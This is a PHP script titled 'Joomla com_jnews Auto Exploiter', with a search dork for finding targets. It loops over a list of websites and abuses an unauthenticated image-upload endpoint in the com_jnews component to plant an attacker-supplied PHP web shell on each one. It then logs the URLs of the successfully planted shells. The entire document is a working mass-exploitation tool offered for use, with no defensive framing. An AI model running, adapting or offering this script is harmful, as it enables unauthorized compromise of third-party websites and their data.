Joomla com_jnews Auto Exploiter

<?php

/*

jnews auto exploiter by yunusIncredibl

exploit dork : inurl:index.php?option=com_jnews

&copy 2014

*/

set_time_limit (0);

if (!isset ($argv[1], $argv[2]))
    die ("\nUsage : php {$argv[0]} sites.txt shell.php\n");

(!file_exists ($argv[1]) || !file_exists ($argv[2])) ? die ("File Not Found !") : NULL;

$array = explode ("\n", trim (file_get_contents($argv[1])));

echo "Loaded : ".count ($array)." Website\n";
echo "Note : the result will be saved to \"res.txt\" File !\n\n";

jnews ($array, "yunus.pHp", file_get_contents ($argv[2]));

function jnews ($urls, $name, $content)
{
    $path = "/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=$name";
    $data = "s3c-k.com\n".$content;
    $pattern = "/Saving your image to/i";

    if (!function_exists ("curl_init"))
        die ("This Script uses cURL Library, You Must Install it First !\nhttp://www.php.net/manual/en/curl.installation.php\n");

    $file = fopen ("res.txt", "a");

    $handle = curl_init ();
    curl_setopt ($handle, CURLOPT_RETURNTRANSFER, true);
    curl_setopt ($handle, CURLOPT_HTTPHEADER, array ('Content-Type: application/xml'));
    curl_setopt ($handle, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1");
    curl_setopt ($handle, CURLOPT_POST, 1);
    curl_setopt ($handle, CURLOPT_POSTFIELDS, $data);

    foreach ($urls as $url)
    {
        curl_setopt ($handle, CURLOPT_URL, $url.$path);
        $source = curl_exec ($handle);
        if (preg_match ($pattern, $source))
        {
            $u = "$url/components/com_jnews/includes/openflashchart/tmp-upload-images/$name\n";
            echo "ok -> $u\n";
            fwrite ($file, $u);
        }
        else
            echo "no -> $url\n\n";
    }
    fclose ($file);
    curl_close($handle);
}
?>